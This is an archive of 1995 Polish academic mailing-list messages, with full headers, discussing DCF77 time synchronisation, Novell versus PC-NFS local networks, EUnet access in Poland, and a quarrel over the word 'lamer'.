polip@zsku.p.lodz.pl; Wed, 18 Jan 1995 15:21:45 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 18 Jan 1995 13:39:18 GMT From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt) Message-Id: <3fj5m6$qb5@ghost.mimuw.edu.pl> Organization: Department of Maths and Computer Science, Warsaw University Sender: news.polip@cyber.ict.pwr.wroc.pl References: <2682FB5771@elektron.pol.lublin.pl>, <3fj02j$6i9@sun1000.ci.pwr.wroc.pl> Subject: Re: Ustawianie czasu-odbiornik DCF77 Jarek Lis (lis@asic.ict.pwr.wroc.pl) wrote: : Eligiusz Pawlowski, LUBLIN. (ELEKP@elektron.pol.lublin.pl) wrote: : : Witam spragnionych dokladnego czasu! : : Problem synchronizacji czasu poprzez siec, z servera czasu jest mi obcy. : : Wiem natomiast, ze stosunkowo latwo mozna zsynchronizowac czas w dowolnym : : komputerze (a wiec i w lokalnym serverze), z jednym z dokladniejszych zegarow : : w europie. : : Zegar znajduje sie w Niemczech, w Mainflingen i jest jednostka PTB. : : PTB jest niemieckim odpowiednikiem CUJM (Centralny Urzad Jednostek i Miar). : : Niemiecki zegar steruje nadajnik radiowy, pracujacy z czestotliwoscia 77,5kHz, : : stad nazwa tego nadajnika DCF77. : : ..... : Hobbystow zachecam do wykonania. A masz jakies schematy etc? Powaznie, to mysle, ze poza obserwatoriami itp. miejscami to _az_ tak dokladny czas potrzebny nie jest. Natomiast - napewno potrzebna jest synchronizacja, co tu bylo poruszone, i dobrze - bo dzieki temu pare osob (i ja tez ;-) poprawi to na swoich systemach. -- 73 de Andy SP5WCA /-------------------+--------+-------------------+-------------------------\ I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I andy@sp5wca.ampr.org I \-------------------+--------+-------------------+-------------------------/ From piotrwi Wed Jan 18 15:51:50 1995 Received: by zsku.p.lodz.pl (5.65/25-eef) id AA20648; Wed, 18 Jan 95 15:50:59 +0100 Return-Path: Date: Wed, 18 Jan 1995 15:50:54 +0100 (MEZ) From: Piotr Wilk To: polip@zsku.p.lodz.pl Subject: Re: Palac Staszica - jaka siec lokalna wybrac? Message-Id: Organization: Samodzielny Zaklad Sieci Komputerowych Politechniki Lodzkiej Address: 90-924 Lodz; ul. Stefanowskiego 18/22 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Nie wiem czy to bylo juz na liscie czy nie. Pozdrawiam, Piotrek -- -------------------------------------------------------------- | Piotr Wilk | |------------------------------------------------------------| | Samodzielny Zaklad | email: | | Sieci Komputerowych | piotrwi@zsku.p.lodz.pl | | Politechniki Lodzkiej | piotrwi at plearn | -------------------------------------------------------------- ---------- Forwarded message ---------- >From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 18 14:47:03 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA15788; Wed, 18 Jan 95 14:43:40 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id OAA03726 for polip@zsku.p.lodz.pl; Wed, 18 Jan 1995 14:30:59 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: Wed, 18 Jan 1995 13:23:45 GMT From: solarz@ibspan.waw.pl (Bartlomiej Solarz) Message-Id: Organization: Instytut Badan Systemowych Sender: news.polip@cyber.ict.pwr.wroc.pl References: <9501171613.AA04342@kme.agh.edu.pl> Subject: Re: Palac Staszica - jaka siec lokalna wybrac? >Jaroslaw Rafa pisze: >> >> > Sadze, ze bedzie duze zapotrzebowanie na poczte Internetowa, mniejsze >> > na telnet i ftp. Bardzo odradzano mi Novella jako trudnego >> > do pogodzenia z jakimkolwiek oprogramowaniem. >> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ >> > Bede wdzieczny za wszelkie rady. >> > >> ???????????? >Podzielam zdziwienie. Acz musze przyznac, ze jeszcze do niedawna bylem >sceptycznie nastawiony do tego systemu. Jednak zrozumialem juz, >ze w wiekszosci przypadkow alternatywy brak :-) Alternatywa jest: PC-NFS by SUN Microsystems. Tylko na skutek masy bledow i zle napisanego shella na PC (po uruchomieniu na 386 zostaje 520KB RAM-u konwencjonalnego (oczywiscie z wykorzystaniem UMB))!!!, obsluga drukarek przylaczonych do innych lokalnych PC jest tylko teoretycznie mozliwa w trybie non-dedicated po uruchomieniu zostaje ci 380KB!!!!, po za tym wiekszosc oprogramowania powstajacego aktualnie robi psikusy (co najmniej!) w trakcie instalacji. I najwazniejszy byk na skutek specyficznej obslugi NFS przez SUN 4.1.3 i inne UNIX-y np. HP-UX 7.0, 8.0 nie ma buforowania dysku w trakcie zapisu. (W trakcie odczytu jest!), Mam CUS takiego i pracuje, ale z checia zmienil bym to na NOVELL-a 4.01. Po za bledami powyzej to swinstwo kosztuje po uwzglednieniu znizek 700$ (od komputera!)!!!! Z powazaniem From krawczyk@kme.agh.edu.pl Wed Jan 18 16:01:50 1995 Received: from robak.kme.agh.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA21169; Wed, 18 Jan 95 15:58:26 +0100 Return-Path: Received: by kme.agh.edu.pl (4.1/SMI-4.1) id AA05990; Wed, 18 Jan 95 15:55:53 +0100 From: krawczyk@kme.agh.edu.pl (Grzegorz Krawczyk) Organization: University of Mining and Metallurgy Address: Mickiewicza 30, 30-059 Krakow, POLAND Message-Id: <9501181455.AA05990@kme.agh.edu.pl> Subject: Re: Palac Staszica - jaka siec lokalna wybrac? To: polip@zsku.p.lodz.pl Date: Wed, 18 Jan 1995 15:55:52 +0100 (MET) In-Reply-To: from "Bartlomiej Solarz" at Jan 18, 95 03:06:29 pm X-Mailer: ELM [version 2.4 PL21] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 2816 Bartlomiej Solarz pisze: > >Jaroslaw Rafa pisze: > >> > Sadze, ze bedzie duze zapotrzebowanie na poczte Internetowa, mniejsze > >> > na telnet i ftp. Bardzo odradzano mi Novella jako trudnego > >> > do pogodzenia z jakimkolwiek oprogramowaniem. > >> > Bede wdzieczny za wszelkie rady. > >> ???????????? > >Podzielam zdziwienie. Acz musze przyznac, ze jeszcze do niedawna bylem > >sceptycznie nastawiony do tego systemu. Jednak zrozumialem juz, > >ze w wiekszosci przypadkow alternatywy brak :-) > Alternatywa jest: PC-NFS by SUN Microsystems. Tylko na skutek masy bledow i > zle napisanego shella na PC (po uruchomieniu na 386 zostaje 520KB RAM-u > konwencjonalnego (oczywiscie z wykorzystaniem UMB))!!!, O!. Korzystam Z PC-NFSa i zostaje mi troche ponad 600KB wolnego po zaladowaniu driverow sieciowych (w tym packet drivera i pktmux). Polecam QEMM386. Inteligentniej niz EMM386 gospodaruje pamiecia UMB (bez zadnych shadows i tego tupu sztuczek jest "lepszy" o ok. 70KB). Mialem obawy co do kompatybilnosci, ale poki co dziala bez pudla (nawet MS Windows :-). > obsluga drukarek > przylaczonych do innych lokalnych PC jest tylko teoretycznie mozliwa w trybie > non-dedicated po uruchomieniu zostaje ci 380KB!!!!, po za tym wiekszosc > oprogramowania powstajacego aktualnie robi psikusy (co najmniej!) w trakcie > instalacji. Pomysl korzystania z drukarki podpietej do innego PC jest, moim zdaniem, zly. Owszemm, PC-NFS daje taka mozliwosc, ale wzgledy praktyczne przemawiaja przeciw: pamiec, efektywnosc, niezawodnosc. Ja mam najzwyklej w swiecie podpieta drukarke do SUNa przez RS232, 9600bps - dziala niezawodnie. W praktyce przecwiczylem taka konfiguracje z iglowkami, HP3P. > I najwazniejszy byk na skutek specyficznej obslugi NFS przez SUN > 4.1.3 i inne UNIX-y np. HP-UX 7.0, 8.0 nie ma buforowania dysku w trakcie > zapisu. (W trakcie odczytu jest!), Mam CUS takiego i pracuje, ale z checia > zmienil bym to na NOVELL-a 4.01. Pytanie tylko czy to jest byk czy jekies wzgledy przemawiaja za tym aby nie buforowac zapisu. Gdyby to byl byk to, przyznasz, bardzo osobliwy. Mozna ponoc przejsc przy NFS-ie na transmisje asynchroniczna. Jest, z tego co slyszalem, efektywniejsza. Ale to tyle co na ten temat wiem. Jakie taka zmiana rodzi inne skutki i jak to sie robi - nie wiem. Moze ktos sie wypowie. Nie zmienia to faktu, ze z checia bym zmienil to na NOVELL-a 3.12. > > Po za bledami powyzej to swinstwo kosztuje po uwzglednieniu znizek 700$ (od > komputera!)!!!! > > Z powazaniem > > > Wiem, ze PC-NFS nie jest tani, ale zeby az tyle z ludzi zdzierac? :-( Ja swojego dostalem od uczelni, byl centralny zakup. Grzegorz -- Grzegorz Krawczyk krawczyk@kme.agh.edu.pl University of Mining and Metallurgy Chair of Electrical Machines From krawczyk@kme.agh.edu.pl Wed Jan 18 16:11:51 1995 Received: from robak.kme.agh.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA21908; Wed, 18 Jan 95 16:10:39 +0100 Return-Path: Received: by kme.agh.edu.pl (4.1/SMI-4.1) id AA06017; Wed, 18 Jan 95 16:08:07 +0100 From: krawczyk@kme.agh.edu.pl (Grzegorz Krawczyk) Organization: University of Mining and Metallurgy Address: Mickiewicza 30, 30-059 Krakow, POLAND Message-Id: <9501181508.AA06017@kme.agh.edu.pl> Subject: Re: Ustawianie czasu-odbiornik DCF77 To: polip@zsku.p.lodz.pl Date: Wed, 18 Jan 1995 16:08:06 +0100 (MET) In-Reply-To: <3fj5m6$qb5@ghost.mimuw.edu.pl> from "Andrzej K. Brandt" at Jan 18, 95 03:53:10 pm X-Mailer: ELM [version 2.4 PL21] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 1256 Andrzej K. Brandt pisze: > > Powaznie, to mysle, ze poza obserwatoriami itp. miejscami to _az_ tak > dokladny czas potrzebny nie jest. Natomiast - napewno potrzebna jest > synchronizacja, co tu bylo poruszone, i dobrze - bo dzieki temu pare osob (i > ja tez ;-) poprawi to na swoich systemach. > Ba. Zachecam inne osoby czytajace liste do zrobienia tego samego jesli jeszcze tego nie uczynily. Zacznijmy od porzadkow na wlasnych lokalnych podworkach. Wyznaczamy jeden lokalny timeserwer, na nim pilnujemy czasu (tymczasem recznie, w przyszlosci synchronizujac), i od niego synchronizujemy pozostale serwery, hosty, wezly, satelity... > -- > > 73 de Andy SP5WCA > > /-------------------+--------+-------------------+-------------------------\ > I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I andy@sp5wca.ampr.org I > \-------------------+--------+-------------------+-------------------------/ > Grzegorz -- .------------------------------------------------------------------------. | Grzegorz Krawczyk krawczyk@kme.agh.edu.pl | | University of Mining and Metallurgy Chair of Electrical Machines | `------------------------------------------------------------------------' From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 18 16:26:51 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA22661; Wed, 18 Jan 95 16:23:36 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id QAA06022 for polip@zsku.p.lodz.pl; Wed, 18 Jan 1995 16:12:42 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 18 Jan 1995 15:05:08 GMT From: lis@asic.ict.pwr.wroc.pl (Jarek Lis) Message-Id: <3fjan4$g7c@sun1000.ci.pwr.wroc.pl> Organization: Technical Univeristy of Wroclaw Sender: news.polip@cyber.ict.pwr.wroc.pl References: <9501171613.AA04342@kme.agh.edu.pl>, <3fj6db$qb5@ghost.mimuw.edu.pl> Subject: Re: Palac Staszica - jaka siec lokalna wybrac? Andrzej K. Brandt (andy@eleet.mimuw.edu.pl) wrote: : Grzegorz Krawczyk (krawczyk@kme.agh.edu.pl) wrote: : : Rozwiazaniem jest ethernet w warstwie fizycznej novell jako sieciowy : : system operacyjny, a w przyszlosci jesli zajdzie taka potrzeba : : inny system o ktory by mozna oprzec baze danych. : Uwaga na marginesie - jak slyszalem istnieje produkt Novell'a do : instalowania na serverze NetWare, ktory powoduje ze jego dyski staja sie : dostepne przez NFS. Tak wiec w przyszlosci dolaczanie Unixow moglo by byc : mniej bolesne niz sie wydaje. W zasadzie nie powinienem roznosic plotek, ale o NFS na Novell slyszalem dwie rzeczy: 1. Drogi, 2. Bledow i niekompatybilnosci sporo, wiec wiecej klopotow niz uciechy. Mam nadzieje, ze 2. zniknie powoli w zwiazku z rozwijaniem przez firme Unixware'a : -- : 73 de Andy SP5WCA : /-------------------+--------+-------------------+-------------------------\ : I Andrzej K. Brandt I SP5WCA I andy@mimuw.edu.pl I andy@sp5wca.ampr.org I : \-------------------+--------+-------------------+-------------------------/ From RAJ@inf.wsp.krakow.pl Wed Jan 18 18:35:12 1995 Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA25476; Wed, 18 Jan 95 18:33:07 +0100 Return-Path: Received: from inf.wsp.krakow.pl (inf.wsp.krakow.pl [149.156.24.10]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with SMTP id SAA07411 for ; Wed, 18 Jan 1995 18:36:58 +0100 Received: from INF/~MAIL~ by inf.wsp.krakow.pl (Mercury 1.12); Wed, 18 Jan 95 18:30:27 GMT+0100 Received: from ~MAIL~ by INF (Mercury 1.12); Wed, 18 Jan 95 18:30:04 GMT+0100 From: "Jaroslaw Rafa" Organization: Zaklad Informatyki WSP, Krakow To: polip@zsku.p.lodz.pl Date: Wed, 18 Jan 1995 18:30:02 GMT+0100 Subject: Re: Palac Staszica - jaka siec lokalna wybrac? Priority: normal X-Mailer: Pegasus Mail v3.21 Message-Id: <1424F536EB@inf.wsp.krakow.pl> > Date sent: Wed, 18 Jan 95 15:44:36 +0100 > Send reply to: polip@zsku.p.lodz.pl > From: andy@eleet.mimuw.edu.pl (Andrzej K. Brandt) > To: sfrafa@cyf-kr.edu.pl > Subject: Re: Palac Staszica - jaka siec lokalna wybrac? > Organization: Department of Maths and Computer Science, Warsaw University > Uwaga na marginesie - jak slyszalem istnieje produkt Novell'a do > instalowania na serverze NetWare, ktory powoduje ze jego dyski staja sie > dostepne przez NFS. Tak wiec w przyszlosci dolaczanie Unixow moglo by byc > mniej bolesne niz sie wydaje. > Z tego co wiem, kosztuje koszmarna sume (cos okolo 1000$), wiecej niz sam Netware. Niestety :-( bo nam by sie to bardzo przydalo. Ale moze sie myle. Pozdrowienia, Jaroslaw Rafa sfrafa@cyf-kr.edu.pl, raj@inf.wsp.krakow.pl From RAJ@inf.wsp.krakow.pl Wed Jan 18 18:41:52 1995 Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA25667; Wed, 18 Jan 95 18:37:35 +0100 Return-Path: Received: from inf.wsp.krakow.pl (inf.wsp.krakow.pl [149.156.24.10]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with SMTP id SAA07443 for ; Wed, 18 Jan 1995 18:41:26 +0100 Received: from INF/~MAIL~ by inf.wsp.krakow.pl (Mercury 1.12); Wed, 18 Jan 95 18:34:54 GMT+0100 Received: from ~MAIL~ by INF (Mercury 1.12); Wed, 18 Jan 95 18:34:40 GMT+0100 From: "Jaroslaw Rafa" Organization: Zaklad Informatyki WSP, Krakow To: polip@zsku.p.lodz.pl Date: Wed, 18 Jan 1995 18:34:39 GMT+0100 Subject: Re: Palac Staszica - jaka siec lokalna wybrac? Priority: normal X-Mailer: Pegasus Mail v3.21 Message-Id: <1438A76574@inf.wsp.krakow.pl> > Date sent: Wed, 18 Jan 95 16:17:27 +0100 > Send reply to: polip@zsku.p.lodz.pl > From: krawczyk@kme.agh.edu.pl (Grzegorz Krawczyk) > To: sfrafa@cyf-kr.edu.pl > Subject: Re: Palac Staszica - jaka siec lokalna wybrac? > Organization: University of Mining and Metallurgy > Pomysl korzystania z drukarki podpietej do innego PC jest, > moim zdaniem, zly. [...] Czyzby? Rozwaz taki uklad: cztery laboratoria studenckie po 6 PC w sieci Novell. Jeden serwer w miejscu z zalozenia niedostepnym dla studentow. W kazdej pracowni drukarka przy jednym z PC. Wydruki wykonywane w danej pracowni ida na drukarke umieszczona w tejze pracowni. W takim ukladzie wlasnie podlaczanie drukarki do serwera byloby zlym pomyslem! Pozdrowienia, Jaroslaw Rafa sfrafa@cyf-kr.edu.pl, raj@inf.wsp.krakow.pl From kokowski@CS.PUT.Poznan.PL Wed Jan 18 21:56:54 1995 Received: from syriusz.cs.put.poznan.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA00107; Wed, 18 Jan 95 21:56:04 +0100 Return-Path: Received: from wega.ics.tup.edu.pl (wega.cs.put.poznan.pl) by syriusz.cs.put.poznan.pl (4.1/SMI-4.1) id AA05825; Wed, 18 Jan 95 21:57:46 +0100 Subject: Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekom To: polip@zsku.p.lodz.pl Date: Wed, 18 Jan 1995 21:43:59 +0100 (CEU) From: Tomasz Kokowski In-Reply-To: <199501181026.KAA09252@hebe.umcs.lublin.pl> from "Krzysztof Mlynarski" at Jan 18, 95 11:43:23 am Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Length: 351 Message-Id: <9501182144.aa21441@wega.ics.tup.edu.pl> > > Rowniez podpisuje sie pod tym pytaniem. Nie widzielem nigdzie EUnet'u u > nas poza tymi ogloszeniami, ktore swego czasu ganialy po listach > dyskusyjnych. > Pozdrawiam, > -Krzysio > Mnie sie poszczescilo. Mam nawet mapke polaczen EuNet. Biuro jest tuz obok kwatery Solidex-u w Warszawie (XVI pietro w Mariocie). Tomasz Kokowski From kokowski@CS.PUT.Poznan.PL Wed Jan 18 22:01:54 1995 Received: from syriusz.cs.put.poznan.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA00358; Wed, 18 Jan 95 22:00:02 +0100 Return-Path: Received: from wega.ics.tup.edu.pl (wega.cs.put.poznan.pl) by syriusz.cs.put.poznan.pl (4.1/SMI-4.1) id AA05836; Wed, 18 Jan 95 22:01:41 +0100 Subject: Re: Palac Staszica - jaka siec lokalna wybrac? To: polip@zsku.p.lodz.pl Date: Wed, 18 Jan 1995 21:47:54 +0100 (CEU) From: Tomasz Kokowski In-Reply-To: <3fj6db$qb5@ghost.mimuw.edu.pl> from "Andrzej K. Brandt" at Jan 18, 95 03:44:26 pm Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Length: 296 Message-Id: <9501182147.aa21470@wega.ics.tup.edu.pl> > > Uwaga na marginesie - jak slyszalem istnieje produkt Novell'a do > instalowania na serverze NetWare, ktory powoduje ze jego dyski staja sie > dostepne przez NFS. Tak wiec w przyszlosci dolaczanie Unixow moglo by byc > mniej bolesne niz sie wydaje. > NetWare for NFS. Tomasz Kokowski From GMIELCAR@sweet.iie.wsi.zgora.pl Wed Jan 18 22:11:55 1995 Received: from vigo.iie.wsi.zgora.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA01062; Wed, 18 Jan 95 22:09:53 +0100 Return-Path: Received: from candy1.iie.wsi.zgora.pl by vigo.iie.wsi.zgora.pl (AIX 3.2/UCB 5.64/4.03) id AA15644; Wed, 18 Jan 1995 22:09:52 +0100 Received: from CANDY/SpoolDir by candy.iie.wsi.zgora.pl (Mercury 1.20); 18 Jan 95 22:07:53 +0100 Received: from SpoolDir by CANDY (Mercury 1.20); 18 Jan 95 22:07:30 +0100 Received: from sweet.iie.wsi.zgora.pl by candy.iie.wsi.zgora.pl (Mercury 1.20) with ESMTP; 18 Jan 95 22:07:29 +0100 Received: from SWEET/SpoolDir by sweet.iie.wsi.zgora.pl (Mercury 1.20); 18 Jan 95 22:08:25 +0100 Received: from SpoolDir by SWEET (Mercury 1.20); 18 Jan 95 22:07:55 +0100 From: "Grzegorz Mielcarek" Organization: Instytut Informatyki i Elektroniki To: polip@zsku.p.lodz.pl Date: Wed, 18 Jan 1995 22:07:45 GMT+01 Subject: Re: Ustawianie czasu-odbiornik DCF77 X-Confirm-Reading-To: "Grzegorz Mielcarek" X-Pmrqc: 1 Priority: normal X-Mailer: Pegasus Mail v3.22 Message-Id: <24A1F53446@sweet.iie.wsi.zgora.pl> > Jest w Polsce firma, ktora to oferuje. Gdzies kiedys czytalem, chyba w PCKurierze, ze polska firma skonstruowala zegar do synchronizacji czasu w sieci Novell Netware 4.0 i sprzedaje to po calym swiecie. Czy jest to ta sama firma? Nie wiem, ale "Polacy nie gesi i swoj zegar maja". -Grzesiek ---------------------------------------------------------------------------- Grzegorz Mielcarek | gmielcar@sweet.iie.wsi.zgora.pl Wyzsza Szkola Inzynierska | g.mielcarek@wsi.zgora.pl Instytut Informatyki i Elektroniki | ul. Podgorna 50 | tel: 068/254611, 254831 w. 231 65-265 Zielona Gora | fax: 068/253944 --------------------------------------------------------------------------- "If you wanna be so sexy, you must drink a lot of Pepsi" ---------------------------------------------------------------------------- From GMIELCAR@sweet.iie.wsi.zgora.pl Wed Jan 18 22:16:56 1995 Received: from vigo.iie.wsi.zgora.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA01486; Wed, 18 Jan 95 22:15:50 +0100 Return-Path: Received: from candy1.iie.wsi.zgora.pl by vigo.iie.wsi.zgora.pl (AIX 3.2/UCB 5.64/4.03) id AA17372; Wed, 18 Jan 1995 22:15:53 +0100 Received: from CANDY/SpoolDir by candy.iie.wsi.zgora.pl (Mercury 1.20); 18 Jan 95 22:13:54 +0100 Received: from SpoolDir by CANDY (Mercury 1.20); 18 Jan 95 22:13:26 +0100 Received: from sweet.iie.wsi.zgora.pl by candy.iie.wsi.zgora.pl (Mercury 1.20) with ESMTP; 18 Jan 95 22:13:25 +0100 Received: from SWEET/SpoolDir by sweet.iie.wsi.zgora.pl (Mercury 1.20); 18 Jan 95 22:14:21 +0100 Received: from SpoolDir by SWEET (Mercury 1.20); 18 Jan 95 22:13:52 +0100 From: "Grzegorz Mielcarek" Organization: Instytut Informatyki i Elektroniki To: polip@zsku.p.lodz.pl Date: Wed, 18 Jan 1995 22:13:47 GMT+01 Subject: Re: Ustawianie czasu-odbiornik DCF77 X-Confirm-Reading-To: "Grzegorz Mielcarek" X-Pmrqc: 1 Priority: normal X-Mailer: Pegasus Mail v3.22 Message-Id: <24BB4E4EEF@sweet.iie.wsi.zgora.pl> Artur napisal: > Uklad jest bardzo prosty i tani - jak kazdy odbiornik na fale dlugie. > Antena ferrytowa,kilka tranzystorkow itp. Jest tylko jeden problem - z tego > co pamietam (o ile sie nie myle) nie sluzy on do zdekodowania pelnego czasu, > a jedynie do BARDZO dokladnego odmierzania sekund, przydatne m. in. w mierni- > kach czestotliwosci. > Ale to chyba nie o ten sam zegar chodzi. Wiem, ze kiedys budowano odbiorniki do odbiory sygnalu, ktory to byl wzorcem czasu - stabilnosci. Natomiast ten DCF77 to rzeczywiscie w sygnale ma zakodowane wiele informacji. Zegary korzystajace z DCF77 mozna w dowolnym momencie wlaczyc i zawsze bedziemy mieli dokladny i aktualny czas. -Grzesiek ---------------------------------------------------------------------------- Grzegorz Mielcarek | gmielcar@sweet.iie.wsi.zgora.pl Wyzsza Szkola Inzynierska | g.mielcarek@wsi.zgora.pl Instytut Informatyki i Elektroniki | ul. Podgorna 50 | tel: 068/254611, 254831 w. 231 65-265 Zielona Gora | fax: 068/253944 --------------------------------------------------------------------------- "If you wanna be so sexy, you must drink a lot of Pepsi" ---------------------------------------------------------------------------- From news.polip@cyber.ict.pwr.wroc.pl Thu Jan 19 00:05:09 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA04120; Thu, 19 Jan 95 00:03:29 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id AAA12680 for polip@zsku.p.lodz.pl; Thu, 19 Jan 1995 00:00:57 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 18 Jan 1995 22:50:58 GMT From: rzm@dain.oso.chalmers.se (Rafal Maszkowski) Message-Id: <3fk60i$nl2@Waldemar.mat.uni.torun.pl> Organization: OSO Sender: news.polip@cyber.ict.pwr.wroc.pl References: <9501171613.AA04342@kme.agh.edu.pl>, Subject: Re: Palac Staszica - jaka siec lokalna wybrac? Bartlomiej Solarz (solarz@ibspan.waw.pl) wrote: > >Jaroslaw Rafa pisze: > >> > Sadze, ze bedzie duze zapotrzebowanie na poczte Internetowa, mniejsze > >> > na telnet i ftp. Bardzo odradzano mi Novella jako trudnego > >> > do pogodzenia z jakimkolwiek oprogramowaniem. > >> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > >> > Bede wdzieczny za wszelkie rady. > >> ???????????? > >Podzielam zdziwienie. Acz musze przyznac, ze jeszcze do niedawna bylem > >sceptycznie nastawiony do tego systemu. Jednak zrozumialem juz, > >ze w wiekszosci przypadkow alternatywy brak :-) Jezeli sie kupuje Novella to jest sie potem zwiazanym z ta firma bo najistotniejsze szczegoly systemu sa tajne. > Alternatywa jest: PC-NFS by SUN Microsystems. Tylko na skutek masy bledow i > zle napisanego shella na PC (po uruchomieniu na 386 zostaje 520KB RAM-u > Po za bledami powyzej to swinstwo kosztuje po uwzglednieniu znizek 700$ (od > komputera!)!!!! Demon pcnfs jest public domain, a pakiety NFS na MS-DOS sa tanie (a w ogole na PC - tez darmowe). Ostatnio mowi sie duzo o Sambie (SMB), ktory to pakiet funkcjonalnie odpowiada NFS, ale ma widocznie jakies dodatkowe zalety. Oczywiscie tez jest do public domain. R. -- Rafal Maszkowski rzm@oso.chalmers.se http://www.mat.uni.torun.pl/~rzm Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec From news.polip@cyber.ict.pwr.wroc.pl Thu Jan 19 00:26:56 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA04958; Thu, 19 Jan 95 00:23:28 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id AAA12803 for polip@zsku.p.lodz.pl; Thu, 19 Jan 1995 00:07:45 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 18 Jan 1995 22:52:56 GMT From: rzm@dain.oso.chalmers.se (Rafal Maszkowski) Message-Id: <3fk648$nl2@Waldemar.mat.uni.torun.pl> Organization: OSO Sender: news.polip@cyber.ict.pwr.wroc.pl References: <9501182144.aa21441@wega.ics.tup.edu.pl> Subject: Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekom Tomasz Kokowski (kokowski@CS.PUT.Poznan.PL) wrote: > > Rowniez podpisuje sie pod tym pytaniem. Nie widzielem nigdzie EUnet'u u > > nas poza tymi ogloszeniami, ktore swego czasu ganialy po listach > > dyskusyjnych. > > -Krzysio > Mnie sie poszczescilo. Mam nawet mapke polaczen EuNet. Biuro jest tuz > obok kwatery Solidex-u w Warszawie (XVI pietro w Mariocie). I co maja podlaczone? Obiecywali Warszawe i Gdansk. Mozna juz pingac? R. -- Rafal Maszkowski rzm@oso.chalmers.se http://www.mat.uni.torun.pl/~rzm Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec From news.polip@cyber.ict.pwr.wroc.pl Thu Jan 19 00:26:58 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA04961; Thu, 19 Jan 95 00:23:30 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id AAA12804 for polip@zsku.p.lodz.pl; Thu, 19 Jan 1995 00:07:50 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 18 Jan 1995 22:57:26 GMT From: rzm@dain.oso.chalmers.se (Rafal Maszkowski) Message-Id: <3fk6cm$nl2@Waldemar.mat.uni.torun.pl> Organization: OSO Sender: news.polip@cyber.ict.pwr.wroc.pl References: <9501180842.AA13346@ocean.iopan.gda.pl> Subject: Re: Brzydkie slowa (Bylo: Sygnatura Krzysia) Jacek Piskozub (piskozub@ocean.iopan.gda.pl) wrote: > Andrzej K. Brandt pisze: > > Maciek Uhlig (muhlig@usctoux1.cto.us.edu.pl) wrote: > > (LAME> ***** Imagine all the people sharing all the world (John Lennon) ***** ) > Secundo: Kategorycznie protestuje przeciw uzywaniu tego IRC-owskiego > wyzwiska w powaznych grupach. > Oczekuje przeprosin pana Andrzeja K. Brandta na tym samym forum, na ktorym > slowo to padlo (jako narazony na te praktyki czytelnik, nie bynajmniej jako > osoba przeciw ktorej tego uzyto). Na przyszlosc proponuje panu A.K.B > przynajmnieej zaznaczanie tego w polu Subject (np.: Re: Sygnatura Krzysia > [BRZYDKIE SLOWA!!!] ) Slowo nie jest szczegolnie brzydkie (chociaz znam ludzi, ktorzy uzywaja go zamiast przecinkow - ktos taki zapewne powinien nazywac sie 'lamerem') i nie widze powodu do tak ostrej reakcji. Slowa, ktore uzywamy swiadcza o nas, tak jak nasze .sigs . R. -- Rafal Maszkowski rzm@oso.chalmers.se http://www.mat.uni.torun.pl/~rzm Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec From 